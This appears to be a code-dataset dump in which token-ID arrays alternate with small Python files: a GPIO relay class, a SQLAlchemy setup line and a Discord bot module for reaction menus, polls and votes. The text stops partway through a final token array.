[ 1, 9995, 5631, 403, 14710, 7492, 848, 297, 365, 8979, 7597, 29924, 3402, 1213, 15945, 13, 13, 5215, 1852, 5510, 13, 5215, 12013, 13, 5215, 931, 13, 13, 5215, 12655, 408, 7442, 13, 3166, 2071, 19668, 29889, 14538, 1691, 1053, 1207, 29918, 1990, 2450, 13, 3166, 2071, 19668, 29889, 4299, 29918, 21731, 1053, 7945, 29918, 1688, 29918, 5451, 13, 13, 29934, 9312, 353, 7442, 29889, 8172, 29889, 17875, 2792, 29898, 29906, 29900, 29896, 29929, 29897, 13, 13, 13, 1753, 5706, 29918, 1272, 29898, 5085, 1125, 13, 1678, 9995, 5631, 1078, 278, 848, 1213, 15945, 13, 1678, 1596, 703, 5631, 1218, 8783, 29901, 6571, 4206, 334, 6571, 4341, 1642, 4830, 29898, 5085, 29889, 5727, 29892, 6389, 29889, 13099, 876, 13, 1678, 1596, 703, 29903, 862, 29879, 537, 6571, 1642, 4830, 29898, 5085, 29889, 29879, 862, 29879, 537, 876, 13, 1678, 1596, 703, 29912, 6822, 8875, 7945, 29914, 1688, 6219, 1642, 4830, 29898, 29896, 29889, 29900, 448, 6389, 29889, 1688, 29918, 2311, 29892, 6389, 29889, 1688, 29918, 2311, 876, 13, 13, 1678, 13128, 353, 931, 29889, 2230, 580, 13, 1678, 302, 29918, 262, 689, 1230, 353, 6389, 29889, 13099, 334, 29871, 29955, 849, 29871, 29896, 29900, 13, 1678, 302, 29918, 9313, 299, 424, 353, 6389, 29889, 13099, 849, 29871, 29896, 29900, 13, 1678, 302, 29918, 276, 412, 630, 353, 6389, 29889, 13099, 849, 29871, 29896, 29900, 13, 1678, 1596, 703, 29876, 29918, 262, 689, 1230, 29901, 24335, 302, 29918, 9313, 299, 424, 29901, 24335, 302, 29918, 276, 412, 630, 29901, 6571, 1642, 4830, 29898, 29876, 29918, 262, 689, 1230, 29892, 302, 29918, 9313, 299, 424, 29892, 13, 462, 462, 462, 462, 418, 302, 29918, 276, 412, 630, 876, 13, 1678, 921, 29892, 343, 353, 1207, 29918, 1990, 2450, 29898, 29876, 29918, 27736, 29922, 5085, 29889, 5727, 29892, 302, 29918, 22100, 29922, 5085, 29889, 13099, 29892, 13, 462, 1669, 302, 29918, 262, 689, 1230, 29922, 29876, 29918, 262, 689, 1230, 29892, 302, 29918, 9313, 299, 424, 29922, 29876, 29918, 9313, 299, 424, 29892, 13, 462, 1669, 302, 29918, 276, 412, 630, 29922, 29876, 29918, 276, 412, 630, 29892, 528, 21897, 29922, 8824, 29892, 4036, 29918, 3859, 29922, 29934, 9312, 29897, 13, 1678, 1596, 703, 5631, 403, 5974, 29901, 6571, 6923, 1642, 4830, 29898, 2230, 29889, 2230, 580, 448, 13128, 876, 13, 13, 1678, 13128, 353, 931, 29889, 2230, 580, 13, 1678, 921, 29918, 14968, 29892, 921, 29918, 1688, 29892, 343, 29918, 14968, 29892, 343, 29918, 1688, 353, 7945, 29918, 1688, 29918, 5451, 29898, 29916, 29892, 343, 29892, 1243, 29918, 2311, 29922, 5085, 29889, 1688, 29918, 2311, 29892, 13, 462, 462, 462, 4706, 4036, 29918, 3859, 29922, 29934, 9312, 29892, 528, 21897, 29922, 8824, 29897, 13, 1678, 1596, 703, 5323, 262, 29914, 3057, 26178, 5974, 29901, 6571, 6923, 1642, 4830, 29898, 2230, 29889, 2230, 580, 448, 13128, 876, 13, 13, 1678, 13128, 353, 931, 29889, 2230, 580, 13, 1678, 2436, 29918, 1445, 877, 14968, 29889, 1982, 4501, 29885, 742, 921, 29918, 14968, 29892, 343, 29918, 14968, 29892, 6389, 29889, 29879, 862, 29879, 537, 29897, 13, 1678, 1596, 703, 6113, 28186, 5974, 29901, 6571, 6923, 1642, 4830, 29898, 2230, 29889, 2230, 580, 448, 13128, 876, 13, 13, 1678, 13128, 353, 931, 29889, 2230, 580, 13, 1678, 2436, 29918, 1445, 877, 1688, 29889, 1982, 4501, 29885, 742, 921, 29918, 1688, 29892, 343, 29918, 1688, 29892, 6389, 29889, 29879, 862, 29879, 537, 29897, 13, 1678, 1596, 703, 6113, 4321, 5974, 29901, 6571, 6923, 1642, 4830, 29898, 2230, 29889, 2230, 580, 448, 13128, 876, 13, 13, 13, 1753, 2436, 29918, 1445, 29898, 9507, 29892, 921, 29918, 1272, 29892, 343, 29918, 1272, 29892, 805, 1503, 537, 1125, 13, 1678, 411, 1722, 29898, 9507, 29892, 525, 29893, 1495, 408, 285, 29901, 13, 4706, 363, 921, 29892, 343, 297, 14319, 29898, 29916, 29918, 1272, 29892, 343, 29918, 1272, 1125, 13, 9651, 2436, 29918, 1220, 29898, 29888, 29892, 921, 29892, 343, 29892, 805, 1503, 537, 29897, 13, 13, 13, 1753, 2436, 29918, 1220, 29898, 29888, 29892, 921, 29892, 343, 29892, 805, 1503, 537, 1125, 13, 1678, 411, 12013, 29889, 1231, 5971, 580, 408, 1196, 29901, 13, 4706, 1196, 29889, 3539, 29898, 710, 29898, 29891, 876, 13, 4706, 363, 474, 29892, 784, 297, 26985, 29898, 29916, 1125, 13, 9651, 565, 29871, 29900, 29889, 29900, 529, 805, 1503, 537, 529, 29871, 29896, 29889, 29900, 29901, 13, 18884, 565, 390, 9312, 29889, 29590, 29898, 29900, 29892, 29871, 29896, 29897, 1405, 805, 1503, 537, 29901, 13, 462, 1678, 2436, 29918, 14394, 29898, 1220, 29892, 474, 29892, 784, 29897, 13, 9651, 1683, 29901, 13, 18884, 2436, 29918, 14394, 29898, 1220, 29892, 474, 29892, 784, 29897, 13, 4706, 1196, 29889, 3539, 28909, 29876, 1495, 13, 4706, 285, 29889, 3539, 29898, 1220, 29889, 657, 1767, 3101, 13, 13, 13, 1753, 2436, 29918, 14394, 29898, 1220, 29892, 2380, 29892, 4682, 1125, 13, 1678, 1196, 29889, 3539, 877, 25710, 13, 1678, 1196, 29889, 3539, 29898, 710, 29898, 2248, 876, 13, 1678, 1196, 29889, 3539, 877, 29901, 1495, 13, 1678, 1196, 29889, 3539, 29898, 710, 29898, 14394, 876, 13, 13, 13, 1753, 1667, 7295, 13, 1678, 9995, 1576, 1667, 740, 29889, 13, 13, 1678, 5282, 1475, 322, 610, 29879, 267, 1899, 1196, 6273, 322, 5717, 278, 15299, 29889, 13, 1678, 9995, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 5727, 742, 1134, 29922, 524, 29892, 2322, 29922, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 13099, 742, 1134, 29922, 524, 29892, 2322, 29922, 29945, 29900, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 29879, 862, 29879, 537, 742, 1134, 29922, 7411, 29892, 2322, 29922, 29900, 29889, 29900, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 1688, 29918, 2311, 742, 1134, 29922, 7411, 29892, 2322, 29922, 29900, 29889, 29900, 29896, 29897, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 1678, 5706, 29918, 1272, 29898, 5085, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1667, 580, 13, 2 ]
olwi/hw/gpiorelay.py
molkoback/olwi
0
58932
<reponame>molkoback/olwi<filename>olwi/hw/gpiorelay.py<gh_stars>0 from olwi.relay import Relay, RelayException import gpiozero class GPIORelay(Relay): def __init__(self, pin=0): self.pin = gpiozero.DigitalOutputDevice(pin, initial_value=False) async def on(self): self.pin.on() async def off(self): self.pin.off()
[ 1, 529, 276, 1112, 420, 29958, 29885, 28387, 711, 547, 29914, 324, 4353, 29966, 9507, 29958, 324, 4353, 29914, 26828, 29914, 29887, 29886, 1611, 295, 388, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 13386, 4353, 29889, 2674, 388, 1053, 6376, 388, 29892, 6376, 388, 2451, 13, 13, 5215, 330, 16168, 9171, 13, 13, 1990, 402, 2227, 1955, 295, 388, 29898, 9662, 388, 1125, 13, 12, 1753, 4770, 2344, 12035, 1311, 29892, 12534, 29922, 29900, 1125, 13, 12, 12, 1311, 29889, 12687, 353, 330, 16168, 9171, 29889, 27103, 6466, 11501, 29898, 12687, 29892, 2847, 29918, 1767, 29922, 8824, 29897, 13, 12, 13, 12, 12674, 822, 373, 29898, 1311, 1125, 13, 12, 12, 1311, 29889, 12687, 29889, 265, 580, 13, 12, 13, 12, 12674, 822, 1283, 29898, 1311, 1125, 13, 12, 12, 1311, 29889, 12687, 29889, 2696, 580, 13, 2 ]
flaskr_carved_rock/sqla.py
ron4u1998/flaskr-carved-rock
0
1609167
from flask_sqlalchemy import SQLAlchemy sqla = SQLAlchemy()
[ 1, 515, 29784, 29918, 2850, 284, 305, 6764, 1053, 3758, 2499, 305, 6764, 13, 13, 3044, 433, 353, 3758, 2499, 305, 6764, 580, 2 ]
petal/menu.py
hdmifish/petal
15
119717
<gh_stars>10-100 from asyncio import create_task, sleep, Task from collections import Counter from datetime import datetime as dt, timedelta as td from itertools import chain from typing import Dict, List, Optional, Sequence, Tuple, TypeVar from discord import abc, Embed, TextChannel, Message, Reaction, User from .util.cdn import get_avatar from .checks import all_checks, Reactions # Assemble all the emoji we need via hexadecimal values. # I have trust issues when it comes to eclectic characters in my source code, so # this makes me feel slightly safer. letters: Tuple[str, ...] = tuple(map(chr, range(0x1F1E6, 0x1F200))) cancel: str = chr(0x1F6AB) confirm: str = chr(0x2611) # Alternatives: # Red X: 0x274C # Green X: 0x274E # Green Check: 0x2705 # "Do Not Enter": 0x26D4 # Zodiac icons because why not astro: Tuple[str, ...] = tuple(chr(n) for n in range(0x2648, 0x2654)) info: str = chr(0x2139) # [i] okay: str = chr(0x1F197) # [OK] clock: Tuple[str, ...] = (chr(0x1F55C), *(chr(n) for n in range(0x1F550, 0x1F55B))) # List of all long-term Menu Operations, as Tasks. Before Shutdown, these can be # cancelled en masse to have the Messages get cleaned up. live: List[Task] = [] T_ = TypeVar("T_") def count_votes(allowed: Sequence[str], votes: Sequence[Reaction]) -> Counter: allowed: List[str] = [str(a).casefold() for a in allowed] return Counter( { str(vote.emoji): (vote.count - 1) if vote.me else vote.count for vote in votes if str(vote.emoji).casefold() in allowed } ) class Menu: def __init__( self, client, channel: TextChannel, title: str, desc: str = None, user: User = None, colour: int = 0x_0A_CD_FF, ): self.client = client self.channel: abc.Messageable = channel self.em: Embed = Embed(title=title, description=desc, colour=colour) if user: self.em.set_author(name=user.display_name, icon_url=get_avatar(user)) self.msg: Optional[Message] = None self.master: User = user def add_section(self, result: str, title: str = "Results", overwrite: int = None): if overwrite is not None: self.em.set_field_at(overwrite, name=title, value=str(result), inline=False) else: self.em.add_field(name=title, value=str(result), inline=False) async def clear(self): await self.msg.clear_reactions() async def close(self, text=""): if text: self.em.description = text await self.post() await self.clear() async def post(self): if self.msg and self.em not in self.msg.embeds: await self.msg.edit(embed=self.em) else: self.msg: Message = await self.channel.send(embed=self.em) async def _add_buttons(self, selection: Sequence): await self.msg.clear_reactions() for opt in selection: await self.msg.add_reaction(opt) async def add_buttons(self, selection: Sequence) -> Task: if not self.msg: await self.post() return create_task(self._add_buttons(selection)) # ========--- # Begin methods for actually running the interface # ========--- ### PRIVATE interfaces; Only one person may respond. async def get_one( self, opts: Sequence[T_], time: float = 30, title: str = "Select One" ) -> Optional[T_]: """Ask the user to select ONE of a set of predefined options.""" if not 1 <= len(opts) <= len(letters): return None letopt = dict(zip(letters, opts)) selection = [cancel, *letopt] self.add_section( "\n".join(f"{letter}: `{opt}`" for letter, opt in letopt.items()), title ) await self.post() buttons: Task = await self.add_buttons(selection) choice = ( await Reactions.waitfor( self.client, all_checks( Reactions.by_user(self.master), Reactions.on_message(self.msg) ), timeout=time, ) )[0] if not choice or choice.emoji == cancel: result = None else: result = letopt.get(choice.emoji) await buttons await self.clear() return result async def get_multi( self, opts: Sequence[T_], time: float = 30, prompt: str = "Select One or More and Confirm:", title: str = "Multiple Choice", ) -> Tuple[T_, ...]: """Ask the user to select ONE OR MORE of a set of predefined options.""" if not 1 <= len(opts) <= len(letters): return () letopt = dict(zip(letters, opts)) selection = [cancel, *letopt, confirm] self.add_section( "\n".join( chain( [prompt], (f"{letter}: `{opt}`" for letter, opt in letopt.items()) ) ), title, ) await self.post() buttons: Task = await self.add_buttons(selection) ok = (str(cancel), str(confirm)) pre = all_checks(Reactions.by_user(self.master), Reactions.on_message(self.msg)) def check(react_: Reaction, user: User) -> bool: return pre(react_, user) and str(react_.emoji) in ok choice = (await Reactions.waitfor(self.client, check, timeout=time))[0] if not choice or choice.emoji == cancel: await self.clear() return () try: vm: Message = await self.channel.fetch_message(self.msg.id) except: await self.clear() return () results: Tuple[T_, ...] = tuple( [ letopt.get(react.emoji) for react in vm.reactions if ( react.emoji in selection[1:-1] and self.master in await react.users().flatten() ) ] ) await buttons await self.clear() return results async def get_bool( self, time: float = 30, # prompt: str = "Select Yes or No", # title: str = "Boolean Choice", ) -> Optional[bool]: """Ask the user to click a simple YES or NO.""" selection = (confirm, cancel) # self.em.description = prompt or "Select Yes or No" # await self.post() # adding = create_task(self.add_buttons(selection)) # self.add_section(prompt, title) # await self.post() adding: Task = await self.add_buttons(selection) choice = ( await Reactions.waitfor( self.client, all_checks( Reactions.by_user(self.master), Reactions.on_message(self.msg) ), timeout=time, ) )[0] await adding await self.clear() if not choice: return None elif choice.emoji == confirm: return True elif choice.emoji == cancel: return False else: return None ### PUBLIC interfaces; ANYONE may respond. async def get_poll( self, opts: Sequence[T_], time: int = 3600, prompt: str = "Select One or More:", title: str = "Poll", ) -> Dict[T_, int]: """Run a MULTIPLE CHOICE open poll that anyone can answer.""" if not 1 <= len(opts) <= len(letters): return {} letopt = dict(zip(letters, opts)) selection = list(letopt) do_footer = not self.em.footer and not self.em.timestamp self.add_section( "\n".join( chain( [prompt], (f"{letter}: `{opt}`" for letter, opt in letopt.items()) ) ), title, ) if do_footer: self.em.set_footer(text="Poll Ends").timestamp = dt.utcnow() + td( seconds=time ) await self.post() await (await self.add_buttons(selection)) await sleep(time) try: vm = await self.channel.fetch_message(self.msg.id) except: return {} outcome = count_votes(selection, vm.reactions) await self.clear() self.add_section( "\n".join("{}: **{}**".format(letopt.get(k), v) for k, v in outcome.items()) ) if do_footer: self.em.set_footer(text="").timestamp = Embed.Empty await self.post() return outcome async def get_vote(self, time: int = 3600) -> Dict[bool, int]: """Run a YES OR NO open vote that anyone can answer.""" selection = (confirm, cancel) do_footer = not self.em.footer and not self.em.timestamp if do_footer: self.em.set_footer(text="Vote Ends").timestamp = dt.utcnow() + td( seconds=time ) await self.post() await (await self.add_buttons(selection)) await sleep(time) try: vm = await self.channel.fetch_message(self.msg.id) except: return {} outcome = count_votes(selection, vm.reactions) await self.clear() real = {True: outcome.get(confirm, 0), False: outcome.get(cancel, 0)} self.add_section( "\n".join( "**{}**: **{}**".format("Yes" if k else "No", v) for k, v in real.items() ) ) if do_footer: self.em.set_footer(text="").timestamp = Embed.Empty await self.post() return real async def confirm_action( client, src: Message, title: str, desc: str, timeout: int = 30 ) -> Optional[bool]: author: User = src.author channel: TextChannel = src.channel m = Menu(client, channel, title, desc, author) return await m.get_bool(timeout)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 3166, 408, 948, 3934, 1053, 1653, 29918, 7662, 29892, 8709, 29892, 9330, 13, 3166, 16250, 1053, 315, 5336, 13, 3166, 12865, 1053, 12865, 408, 11636, 29892, 5335, 287, 2554, 408, 22599, 13, 3166, 4256, 8504, 1053, 9704, 13, 3166, 19229, 1053, 360, 919, 29892, 2391, 29892, 28379, 29892, 922, 3910, 29892, 12603, 552, 29892, 5167, 9037, 13, 13, 3166, 2313, 536, 1053, 25638, 29892, 2812, 2580, 29892, 3992, 13599, 29892, 7777, 29892, 830, 2467, 29892, 4911, 13, 13, 3166, 869, 4422, 29889, 13687, 1053, 679, 29918, 485, 14873, 13, 3166, 869, 3198, 29879, 1053, 599, 29918, 3198, 29879, 29892, 830, 7387, 13, 13, 13, 29937, 4007, 6967, 599, 278, 953, 29877, 2397, 591, 817, 3025, 15090, 1943, 29883, 3039, 1819, 29889, 13, 29937, 306, 505, 9311, 5626, 746, 372, 5304, 304, 21226, 781, 293, 4890, 297, 590, 2752, 775, 29892, 577, 13, 29937, 259, 445, 3732, 592, 4459, 10029, 872, 571, 29889, 13, 1026, 2153, 29901, 12603, 552, 29961, 710, 29892, 2023, 29962, 353, 18761, 29898, 1958, 29898, 22495, 29892, 3464, 29898, 29900, 29916, 29896, 29943, 29896, 29923, 29953, 29892, 29871, 29900, 29916, 29896, 29943, 29906, 29900, 29900, 4961, 13, 20713, 29901, 851, 353, 18460, 29898, 29900, 29916, 29896, 29943, 29953, 2882, 29897, 13, 26897, 29901, 851, 353, 18460, 29898, 29900, 29916, 29906, 29953, 29896, 29896, 29897, 13, 29937, 12440, 5056, 29901, 13, 29937, 259, 4367, 1060, 29901, 965, 29900, 29916, 29906, 29955, 29946, 29907, 13, 29937, 259, 7646, 1060, 29901, 308, 29900, 29916, 29906, 29955, 29946, 29923, 13, 29937, 259, 7646, 5399, 29901, 268, 29900, 29916, 29906, 29955, 29900, 29945, 13, 29937, 259, 376, 6132, 2216, 9041, 1115, 29871, 29900, 29916, 29906, 29953, 29928, 29946, 13, 13, 29937, 796, 397, 13544, 27673, 1363, 2020, 451, 13, 23364, 29901, 12603, 552, 29961, 710, 29892, 2023, 29962, 353, 18761, 29898, 22495, 29898, 29876, 29897, 363, 302, 297, 3464, 29898, 29900, 29916, 29906, 29953, 29946, 29947, 29892, 29871, 29900, 29916, 29906, 29953, 29945, 29946, 876, 13, 3888, 29901, 851, 353, 18460, 29898, 29900, 29916, 29906, 29896, 29941, 29929, 29897, 29871, 396, 518, 29875, 29962, 13, 554, 388, 29901, 851, 353, 18460, 29898, 29900, 29916, 29896, 29943, 29896, 29929, 29955, 29897, 29871, 396, 518, 8949, 29962, 13, 13, 13058, 29901, 12603, 552, 29961, 710, 29892, 2023, 29962, 353, 313, 22495, 29898, 29900, 29916, 29896, 29943, 29945, 29945, 29907, 511, 334, 29898, 22495, 29898, 29876, 29897, 363, 302, 297, 3464, 29898, 29900, 29916, 29896, 29943, 29945, 29945, 29900, 29892, 29871, 29900, 29916, 29896, 29943, 29945, 29945, 29933, 4961, 13, 13, 13, 29937, 2391, 310, 599, 1472, 29899, 8489, 20019, 6607, 800, 29892, 408, 9330, 29879, 29889, 10949, 1383, 329, 3204, 29892, 1438, 508, 367, 13, 29937, 259, 12611, 839, 427, 5516, 344, 304, 505, 278, 11946, 1179, 679, 5941, 287, 701, 29889, 13, 9258, 29901, 2391, 29961, 5398, 29962, 353, 5159, 13, 13, 29911, 29918, 353, 5167, 9037, 703, 29911, 29918, 1159, 13, 13, 13, 1753, 2302, 29918, 29894, 4769, 29898, 24622, 29901, 922, 3910, 29961, 710, 1402, 18952, 29901, 922, 3910, 29961, 1123, 2467, 2314, 1599, 315, 5336, 29901, 13, 1678, 6068, 29901, 2391, 29961, 710, 29962, 353, 518, 710, 29898, 29874, 467, 4878, 8771, 580, 363, 263, 297, 6068, 29962, 13, 1678, 736, 315, 5336, 29898, 13, 4706, 426, 13, 9651, 851, 29898, 15814, 29889, 15810, 2397, 1125, 313, 15814, 29889, 2798, 448, 29871, 29896, 29897, 565, 11719, 29889, 1004, 1683, 11719, 29889, 2798, 13, 9651, 363, 11719, 297, 18952, 13, 9651, 565, 851, 29898, 15814, 29889, 15810, 2397, 467, 4878, 8771, 580, 297, 6068, 13, 4706, 500, 13, 1678, 1723, 13, 13, 13, 1990, 20019, 29901, 13, 1678, 822, 4770, 2344, 12035, 13, 4706, 1583, 29892, 13, 4706, 3132, 29892, 13, 4706, 8242, 29901, 3992, 13599, 29892, 13, 4706, 3611, 29901, 851, 29892, 13, 4706, 5153, 29901, 851, 353, 6213, 29892, 13, 4706, 1404, 29901, 4911, 353, 6213, 29892, 13, 4706, 12384, 29901, 938, 353, 29871, 29900, 29916, 29918, 29900, 29909, 29918, 6530, 29918, 4198, 29892, 13, 268, 1125, 13, 4706, 1583, 29889, 4645, 353, 3132, 13, 4706, 1583, 29889, 12719, 29901, 25638, 29889, 3728, 519, 353, 8242, 13, 4706, 1583, 29889, 331, 29901, 2812, 2580, 353, 2812, 2580, 29898, 3257, 29922, 3257, 29892, 6139, 29922, 14273, 29892, 12384, 29922, 1054, 473, 29897, 13, 13, 4706, 565, 1404, 29901, 13, 9651, 1583, 29889, 331, 29889, 842, 29918, 8921, 29898, 978, 29922, 1792, 29889, 4990, 29918, 978, 29892, 9849, 29918, 2271, 29922, 657, 29918, 485, 14873, 29898, 1792, 876, 13, 13, 4706, 1583, 29889, 7645, 29901, 28379, 29961, 3728, 29962, 353, 6213, 13, 4706, 1583, 29889, 6207, 29901, 4911, 353, 1404, 13, 13, 1678, 822, 788, 29918, 2042, 29898, 1311, 29892, 1121, 29901, 851, 29892, 3611, 29901, 851, 353, 376, 12191, 613, 26556, 29901, 938, 353, 6213, 1125, 13, 4706, 565, 26556, 338, 451, 6213, 29901, 13, 9651, 1583, 29889, 331, 29889, 842, 29918, 2671, 29918, 271, 29898, 957, 3539, 29892, 1024, 29922, 3257, 29892, 995, 29922, 710, 29898, 2914, 511, 10583, 29922, 8824, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 331, 29889, 1202, 29918, 2671, 29898, 978, 29922, 3257, 29892, 995, 29922, 710, 29898, 2914, 511, 10583, 29922, 8824, 29897, 13, 13, 1678, 7465, 822, 2821, 29898, 1311, 1125, 13, 4706, 7272, 1583, 29889, 7645, 29889, 8551, 29918, 5638, 1953, 580, 13, 13, 1678, 7465, 822, 3802, 29898, 1311, 29892, 1426, 13776, 1125, 13, 4706, 565, 1426, 29901, 13, 9651, 1583, 29889, 331, 29889, 8216, 353, 1426, 13, 9651, 7272, 1583, 29889, 2490, 580, 13, 4706, 7272, 1583, 29889, 8551, 580, 13, 13, 1678, 7465, 822, 1400, 29898, 1311, 1125, 13, 4706, 565, 1583, 29889, 7645, 322, 1583, 29889, 331, 451, 297, 1583, 29889, 7645, 29889, 1590, 5779, 29901, 13, 9651, 7272, 1583, 29889, 7645, 29889, 5628, 29898, 17987, 29922, 1311, 29889, 331, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 7645, 29901, 7777, 353, 7272, 1583, 29889, 12719, 29889, 6717, 29898, 17987, 29922, 1311, 29889, 331, 29897, 13, 13, 1678, 7465, 822, 903, 1202, 29918, 4187, 7453, 29898, 1311, 29892, 9262, 29901, 922, 3910, 1125, 13, 4706, 7272, 1583, 29889, 7645, 29889, 8551, 29918, 5638, 1953, 580, 13, 4706, 363, 3523, 297, 9262, 29901, 13, 9651, 7272, 1583, 29889, 7645, 29889, 1202, 29918, 276, 2467, 29898, 3670, 29897, 13, 13, 1678, 7465, 822, 788, 29918, 4187, 7453, 29898, 1311, 29892, 9262, 29901, 922, 3910, 29897, 1599, 9330, 29901, 13, 4706, 565, 451, 1583, 29889, 7645, 29901, 13, 9651, 7272, 1583, 29889, 2490, 580, 13, 4706, 736, 1653, 29918, 7662, 29898, 1311, 3032, 1202, 29918, 4187, 7453, 29898, 21731, 876, 13, 13, 1678, 396, 1275, 2751, 1360, 5634, 13, 1678, 396, 14893, 3519, 363, 2869, 2734, 278, 5067, 13, 1678, 396, 1275, 2751, 1360, 5634, 13, 13, 1678, 835, 349, 3960, 29963, 3040, 19510, 29936, 9333, 697, 2022, 1122, 10049, 29889, 13, 13, 1678, 7465, 822, 679, 29918, 650, 29898, 13, 4706, 1583, 29892, 29111, 29901, 922, 3910, 29961, 29911, 29918, 1402, 931, 29901, 5785, 353, 29871, 29941, 29900, 29892, 3611, 29901, 851, 353, 376, 3549, 3118, 29908, 13, 1678, 1723, 1599, 28379, 29961, 29911, 29918, 5387, 13, 4706, 9995, 29909, 808, 278, 1404, 304, 1831, 6732, 29923, 310, 263, 731, 310, 758, 12119, 3987, 1213, 15945, 13, 4706, 565, 451, 29871, 29896, 5277, 7431, 29898, 25707, 29897, 5277, 7431, 29898, 1026, 2153, 1125, 13, 9651, 736, 6213, 13, 13, 4706, 454, 517, 415, 353, 9657, 29898, 7554, 29898, 1026, 2153, 29892, 29111, 876, 13, 4706, 9262, 353, 518, 20713, 29892, 334, 280, 517, 415, 29962, 13, 4706, 1583, 29889, 1202, 29918, 2042, 29898, 13, 9651, 6634, 29876, 1642, 7122, 29898, 29888, 29908, 29912, 15670, 6177, 23230, 3670, 10114, 29908, 363, 5497, 29892, 3523, 297, 454, 517, 415, 29889, 7076, 25739, 3611, 13, 4706, 1723, 13, 4706, 7272, 1583, 29889, 2490, 580, 13, 4706, 9828, 29901, 9330, 353, 7272, 1583, 29889, 1202, 29918, 4187, 7453, 29898, 21731, 29897, 13, 13, 4706, 7348, 353, 313, 13, 9651, 7272, 830, 7387, 29889, 10685, 1454, 29898, 13, 18884, 1583, 29889, 4645, 29892, 13, 18884, 599, 29918, 3198, 29879, 29898, 13, 462, 1678, 830, 7387, 29889, 1609, 29918, 1792, 29898, 1311, 29889, 6207, 511, 830, 7387, 29889, 265, 29918, 4906, 29898, 1311, 29889, 7645, 29897, 13, 18884, 10353, 13, 18884, 11815, 29922, 2230, 29892, 13, 9651, 1723, 13, 4706, 1723, 29961, 29900, 29962, 13, 13, 4706, 565, 451, 7348, 470, 7348, 29889, 15810, 2397, 1275, 12611, 29901, 13, 9651, 1121, 353, 6213, 13, 4706, 1683, 29901, 13, 9651, 1121, 353, 454, 517, 415, 29889, 657, 29898, 16957, 29889, 15810, 2397, 29897, 13, 13, 4706, 7272, 9828, 13, 4706, 7272, 1583, 29889, 8551, 580, 13, 4706, 736, 1121, 13, 13, 1678, 7465, 822, 679, 29918, 9910, 29898, 13, 4706, 1583, 29892, 13, 4706, 29111, 29901, 922, 3910, 29961, 29911, 29918, 1402, 13, 4706, 931, 29901, 5785, 353, 29871, 29941, 29900, 29892, 13, 4706, 9508, 29901, 851, 353, 376, 3549, 3118, 470, 5853, 322, 10811, 3568, 29901, 613, 13, 4706, 3611, 29901, 851, 353, 376, 15329, 552, 14542, 625, 613, 13, 1678, 1723, 1599, 12603, 552, 29961, 29911, 3383, 2023, 5387, 13, 4706, 9995, 29909, 808, 278, 1404, 304, 1831, 6732, 29923, 6323, 16999, 1525, 310, 263, 731, 310, 758, 12119, 3987, 1213, 15945, 13, 4706, 565, 451, 29871, 29896, 5277, 7431, 29898, 25707, 29897, 5277, 7431, 29898, 1026, 2153, 1125, 13, 9651, 736, 3861, 13, 13, 4706, 454, 517, 415, 353, 9657, 29898, 7554, 29898, 1026, 2153, 29892, 29111, 876, 13, 4706, 9262, 353, 518, 20713, 29892, 334, 280, 517, 415, 29892, 9659, 29962, 13, 4706, 1583, 29889, 1202, 29918, 2042, 29898, 13, 9651, 6634, 29876, 1642, 7122, 29898, 13, 18884, 9704, 29898, 13, 462, 1678, 518, 14032, 415, 1402, 313, 29888, 29908, 29912, 15670, 6177, 23230, 3670, 10114, 29908, 363, 5497, 29892, 3523, 297, 454, 517, 415, 29889, 7076, 3101, 13, 18884, 1723, 13, 9651, 10353, 13, 9651, 3611, 29892, 13, 4706, 1723, 13, 4706, 7272, 1583, 29889, 2490, 580, 13, 4706, 9828, 29901, 9330, 353, 7272, 1583, 29889, 1202, 29918, 4187, 7453, 29898, 21731, 29897, 13, 13, 4706, 3431, 353, 313, 710, 29898, 20713, 511, 851, 29898, 26897, 876, 13, 4706, 758, 353, 599, 29918, 3198, 29879, 29898, 1123, 7387, 29889, 1609, 29918, 1792, 29898, 1311, 29889, 6207, 511, 830, 7387, 29889, 265, 29918, 4906, 29898, 1311, 29889, 7645, 876, 13, 13, 4706, 822, 1423, 29898, 8423, 29918, 29901, 830, 2467, 29892, 1404, 29901, 4911, 29897, 1599, 6120, 29901, 13, 9651, 736, 758, 29898, 8423, 3383, 1404, 29897, 322, 851, 29898, 8423, 5396, 15810, 2397, 29897, 297, 3431, 13, 13, 4706, 7348, 353, 313, 20675, 830, 7387, 29889, 10685, 1454, 29898, 1311, 29889, 4645, 29892, 1423, 29892, 11815, 29922, 2230, 876, 29961, 29900, 29962, 13, 13, 4706, 565, 451, 7348, 470, 7348, 29889, 15810, 2397, 1275, 12611, 29901, 13, 9651, 7272, 1583, 29889, 8551, 580, 13, 9651, 736, 3861, 13, 13, 4706, 1018, 29901, 13, 9651, 22419, 29901, 7777, 353, 7272, 1583, 29889, 12719, 29889, 9155, 29918, 4906, 29898, 1311, 29889, 7645, 29889, 333, 29897, 13, 4706, 5174, 29901, 13, 9651, 7272, 1583, 29889, 8551, 580, 13, 9651, 736, 3861, 13, 13, 4706, 2582, 29901, 12603, 552, 29961, 29911, 3383, 2023, 29962, 353, 18761, 29898, 13, 9651, 518, 13, 18884, 454, 517, 415, 29889, 657, 29898, 8423, 29889, 15810, 2397, 29897, 13, 18884, 363, 7657, 297, 22419, 29889, 5638, 1953, 13, 18884, 565, 313, 13, 462, 1678, 7657, 29889, 15810, 2397, 297, 9262, 29961, 29896, 13018, 29896, 29962, 13, 462, 1678, 322, 1583, 29889, 6207, 297, 7272, 7657, 29889, 7193, 2141, 1579, 8606, 580, 13, 18884, 1723, 13, 9651, 4514, 13, 4706, 1723, 13, 13, 4706, 7272, 9828, 13, 4706, 7272, 1583, 29889, 8551, 580, 13, 4706, 736, 2582, 13, 13, 1678, 7465, 822, 679, 29918, 11227, 29898, 13, 4706, 1583, 29892, 13, 4706, 931, 